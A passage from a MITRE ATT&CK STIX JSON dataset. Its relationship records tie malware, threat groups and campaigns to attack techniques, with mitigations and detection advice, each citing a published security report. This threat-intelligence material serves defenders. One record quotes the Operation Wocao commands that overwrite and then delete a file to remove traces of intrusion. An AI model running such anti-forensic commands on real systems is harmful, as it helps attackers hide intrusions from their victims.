2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7dfb4403-9368-4fed-aac0-a968e7761c4a","type":"relationship","created":"2020-01-19T16:59:45.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:15:39.392Z","description":"Use multi-factor authentication for user and privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7dfc877a-4563-4c7f-91e0-b5f5adfcb873","created":"2022-08-16T19:39:45.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T15:47:05.430Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) has the ability to use a custom hex byte swapping encoding scheme combined with an obfuscated Base64 function to protect program strings and Telegram credentials.(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e000a72-a127-4cb4-be17-9541593462f6","created":"2022-06-09T19:19:05.510Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used `.vbs` scripts for execution.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:19:05.510Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e024389-346c-489b-a406-1bbdec150eda","type":"relationship","created":"2020-03-27T12:10:23.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T12:18:44.447Z","description":"Remove users from the local administrator group on systems.\n\nBy requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file. Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e05e716-1a86-4f87-9eba-5b5c6ee61b8a","type":"relationship","created":"2019-09-13T13:21:50.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}],"modified":"2019-09-13T17:14:47.658Z","description":"[Machete](https://attack.mitre.org/software/S0409) hijacks the clipboard data by creating an overlapped window that listens to keyboard events.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e11e52f-e246-4752-a980-36ad2f7e82eb","created":"2022-09-26T14:04:18.367Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T14:04:18.367Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can parse the `ProxyServer` string in the Registry to discover http proxies.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e12ea45-1adc-4c0c-95a7-68d5215760dc","created":"2023-03-17T14:43:41.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:52:24.730Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) created scheduled tasks to set a periodic execution of a remote XSL script.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e1510d2-b080-40a9-af8d-06e6b30a796b","created":"2024-08-14T22:30:45.017Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:30:45.017Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has created dedicated email accounts for use with tools such as [IMAPLoader](https://attack.mitre.org/software/S1152).(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e160715-2735-4d96-8918-14036c2804a7","created":"2022-01-10T19:52:49.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.927Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can retrieve browser history.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e1ace47-17af-4291-b5f1-6b3c64c8ea6d","created":"2022-08-15T16:42:33.122Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[StrifeWater](https://attack.mitre.org/software/S1034) has the ability to take screen captures.(Citation: Cybereason StrifeWater Feb 2022)","modified":"2022-08-15T16:42:33.122Z","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e1f0009-69eb-4131-b0ba-0a9a5ab04718","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor executed commands and arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e26e90e-79b1-45ab-94dd-ea7b35cffbf8","created":"2022-09-27T16:31:26.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:08:26.479Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors consistently removed traces of their activity by first overwriting a file using `/c cd /d c:\\windows\\temp\\ & copy \\\\\\c$\\windows\\system32\\devmgr.dll \\\\\\c$\\windows\\temp\\LMAKSW.ps1 /y` and then deleting the overwritten file using `/c cd /d c:\\windows\\temp\\ & del \\\\\\c$\\windows\\temp\\LMAKSW.ps1`.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e27f405-1e18-44d7-81d7-bbad57cba9b7","created":"2022-10-12T12:45:14.108Z","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T12:45:14.108Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has gathered detailed knowledge of an organization's supply chain relationships.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e2a1dfa-1ccd-4700-a4a5-3b98590ae710","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.989Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can grab a system’s information including the OS version, architecture, etc.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e2b9c63-69ac-4050-b057-2fe16ef1d355","created":"2021-03-02T17:55:12.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AppleJeus Feb 2021","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T13:33:43.282Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has hosted malicious downloads on Github.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e2ceab5-e5ae-4c79-aceb-424d42703e5f","type":"relationship","created":"2021-01-06T16:56:56.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-10T18:09:07.451Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) collected a list of service names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e2d9f42-18be-4b95-9300-db7d6afa50ec","created":"2023-12-26T19:43:22.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:52:44.945Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) has a command to collect the system `UPTIME`.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e2dcce1-8fde-4f88-9e48-13a736c694e3","type":"relationship","created":"2022-03-25T14:32:35.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2022-03-25T14:32:35.656Z","description":"(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e307ac4-f569-4606-a500-b5ead2d5967f","created":"2022-10-12T13:07:46.694Z","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T13:07:46.694Z","description":"(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e32a557-f724-433f-84e0-756e14db7074","type":"relationship","created":"2020-07-27T15:48:13.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T15:48:13.235Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can identify if ESET or BitDefender antivirus are installed before dropping its payload.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e3bdb4d-76b3-42ce-8f68-587320e39ec7","type":"relationship","created":"2021-04-13T12:56:16.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T12:56:16.369Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) has the ability to create reverse shells with Perl scripts.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e3bef4f-f75a-42a2-bb77-df7b44a322d4","created":"2024-05-20T20:15:56.268Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:15:56.268Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) renamed or moved malicious binaries to legitimate locations to evade defenses and blend into victim environments.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e3d1339-90a7-4fc6-b742-4229f3e76b97","type":"relationship","created":"2020-02-20T19:11:15.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T15:32:18.239Z","description":"Ensure that root accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e42e286-af96-4178-a30f-785ed3699659","type":"relationship","created":"2019-07-09T17:42:44.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.327Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) can list all services and their configurations.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.856Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) uses a customized version of PsExec.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e4db234-1923-4bfb-ab32-284f31182c76","created":"2023-09-29T21:11:30.699Z","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T21:11:30.699Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used a self-extracting RAR file to deliver modules to victims. Emotet has also extracted embedded executables from files using hard-coded buffer offsets.(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e555910-0e1b-403d-a369-e7a2e8e61670","type":"relationship","created":"2020-05-13T13:20:59.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."}],"modified":"2020-11-10T17:28:19.629Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks to install 